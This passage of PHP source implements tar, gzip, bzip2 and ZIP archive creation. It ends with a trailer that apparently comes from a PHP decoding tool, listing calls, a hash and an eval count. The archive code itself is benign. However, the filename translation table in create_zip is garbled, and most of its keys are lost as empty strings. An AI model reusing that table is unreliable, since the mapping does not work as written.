                        //chown($file['name'],$file['stat'][4]);
                        //chgrp($file['name'],$file['stat'][5]);
                    }
                    else
                    {
                        $this->error[] = "Could not open {$file['name']} for writing.";
                    }
                }
                unset($file);
            }
        }
        else
        {
            $this->error[] = "Could not open file {$this->options['name']}";
        }

        chdir($Pwd);
    }

    function open_archive()
    {
        return @fopen($this->options['name'],"rb");
    }
}

class gzip_file extends tar_file
{
    function gzip_file($name)
    {
        $this->tar_file($name);
        $this->options['type'] = "gzip";
    }

    function create_gzip()
    {
        if($this->options['inmemory'] == 0)
        {
            $Pwd = getcwd();
            chdir($this->options['basedir']);
            if($fp = gzopen($this->options['name'],"wb{$this->options['level']}"))
            {
                fseek($this->archive,0);
                while($temp = fread($this->archive,1048576))
                {
                    gzwrite($fp,$temp);
                }
                gzclose($fp);
                chdir($Pwd);
            }
            else
            {
                $this->error[] = "Could not open {$this->options['name']} for writing.";
                chdir($Pwd);
                return 0;
            }
        }
        else
        {
            $this->archive = gzencode($this->archive,$this->options['level']);
        }

        return 1;
    }

    function open_archive()
    {
        return @gzopen($this->options['name'],"rb");
    }
}

class bzip_file extends tar_file
{
    function bzip_file($name)
    {
        $this->tar_file($name);
        $this->options['type'] = "bzip";
    }

    function create_bzip()
    {
        if($this->options['inmemory'] == 0)
        {
            $Pwd = getcwd();
            chdir($this->options['basedir']);
            if($fp = bzopen($this->options['name'],"wb"))
            {
                fseek($this->archive,0);
                while($temp = fread($this->archive,1048576))
                {
                    bzwrite($fp,$temp);
                }
                bzclose($fp);
                chdir($Pwd);
            }
            else
            {
                $this->error[] = "Could not open {$this->options['name']} for writing.";
                chdir($Pwd);
                return 0;
            }
        }
        else
        {
            $this->archive = bzcompress($this->archive,$this->options['level']);
        }

        return 1;
    }

    function open_archive()
    {
        return @bzopen($this->options['name'],"rb");
    }
}

class zip_file extends archive
{
    function zip_file($name)
    {
        $this->archive($name);
        $this->options['type'] = "zip";
    }

    function create_zip()
    {
        $files = 0;
        $offset = 0;
        $central = "";

        if(!empty($this->options['sfx']))
        {
            if($fp = @fopen($this->options['sfx'],"rb"))
            {
                $temp = fread($fp,filesize($this->options['sfx']));
                fclose($fp);
                $this->add_data($temp);
                $offset += strlen($temp);
                unset($temp);
            }
            else
            {
                $this->error[] = "Could not open sfx module from {$this->options['sfx']}.";
            }
        }

        $Pwd = getcwd();
        chdir($this->options['basedir']);

        foreach($this->files as $current)
        {
            if($current['name'] == $this->options['name'])
            {
                continue;
            }
            $translate =  array(''=>pack("C",128),''=>pack("C",129),''=>pack("C",130),''=>pack("C",131),''=>pack("C",132),
                                ' '=>pack("C",133),''=>pack("C",134),''=>pack("C",135),''=>pack("C",136),''=>pack("C",137),
                                ''=>pack("C",138),''=>pack("C",139),''=>pack("C",140),''=>pack("C",141),''=>pack("C",142),
                                ''=>pack("C",143),''=>pack("C",144),''=>pack("C",145),''=>pack("C",146),''=>pack("C",147),
                                ''=>pack("C",148),''=>pack("C",149),''=>pack("C",150),''=>pack("C",151),'_'=>pack("C",152),
                                ''=>pack("C",153),''=>pack("C",154),''=>pack("C",156),''=>pack("C",157),'_'=>pack("C",158),
                                ''=>pack("C",159),''=>pack("C",160),''=>pack("C",161),''=>pack("C",162),''=>pack("C",163),
                                ''=>pack("C",164),''=>pack("C",165));
            $current['name2'] = strtr($current['name2'],$translate);

            $timedate = explode(" ",date("Y n j G i s",$current['stat'][9]));
            $timedate = ($timedate[0] - 1980 << 25) | ($timedate[1] << 21) | ($timedate[2] << 16) |
                ($timedate[3] << 11) | ($timedate[4] << 5) | ($timedate[5]);

            $block = pack("VvvvV",0x04034b50,0x000A,0x0000,(isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate);

            if($current['stat'][7] == 0 && $current['type'] == 5)
            {
                $block .= pack("VVVvv",0x00000000,0x00000000,0x00000000,strlen($current['name2']) + 1,0x0000);
                $block .= $current['name2'] . "/";
                $this->add_data($block);
                $central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000,
                    (isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate,
                    0x00000000,0x00000000,0x00000000,strlen($current['name2']) + 1,0x0000,0x0000,0x0000,0x0000,$current['type'] == 5? 0x00000010 : 0x00000000,$offset);
                $central .= $current['name2'] . "/";
                $files++;
                $offset += (31 + strlen($current['name2']));
            }
            else if($current['stat'][7] == 0)
            {
                $block .= pack("VVVvv",0x00000000,0x00000000,0x00000000,strlen($current['name2']),0x0000);
                $block .= $current['name2'];
                $this->add_data($block);
                $central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000,
                    (isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate,
                    0x00000000,0x00000000,0x00000000,strlen($current['name2']),0x0000,0x0000,0x0000,0x0000,$current['type'] == 5? 0x00000010 : 0x00000000,$offset);
                $central .= $current['name2'];
                $files++;
                $offset += (30 + strlen($current['name2']));
            }
            else if($fp = @fopen($current['name'],"rb"))
            {
                $temp = fread($fp,$current['stat'][7]);
                fclose($fp);
                $crc32 = crc32($temp);
                if(!isset($current['method']) && $this->options['method'] == 1)
                {
                    $temp = gzcompress($temp,$this->options['level']);
                    $size = strlen($temp) - 6;
                    $temp = substr($temp,2,$size);
                }
                else
                {
                    $size = strlen($temp);
                }
                $block .= pack("VVVvv",$crc32,$size,$current['stat'][7],strlen($current['name2']),0x0000);
                $block .= $current['name2'];
                $this->add_data($block);
                $this->add_data($temp);
                unset($temp);
                $central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000,
                    (isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate,
                    $crc32,$size,$current['stat'][7],strlen($current['name2']),0x0000,0x0000,0x0000,0x0000,0x00000000,$offset);
                $central .= $current['name2'];
                $files++;
                $offset += (30 + strlen($current['name2']) + $size);
            }
            else
            {
                $this->error[] = "Could not open file {$current['name']} for reading. It was not added.";
            }
        }

        $this->add_data($central);

        $this->add_data(pack("VvvvvVVv",0x06054b50,0x0000,0x0000,$files,$files,strlen($central),$offset,
            !empty($this->options['comment'])? strlen($this->options['comment']) : 0x0000));

        if(!empty($this->options['comment']))
        {
            $this->add_data($this->options['comment']);
        }

        chdir($Pwd);

        return 1;
    }
}
// +--------------------------------------------------
// | THE END
// +--------------------------------------------------
?>

Function Calls

ini_set 1
header 1

Variables

$charset UTF-8

Stats

MD5 d35b5da43c429f4322d7122db0f531f9
Eval Count 0
Decode Time 2318 ms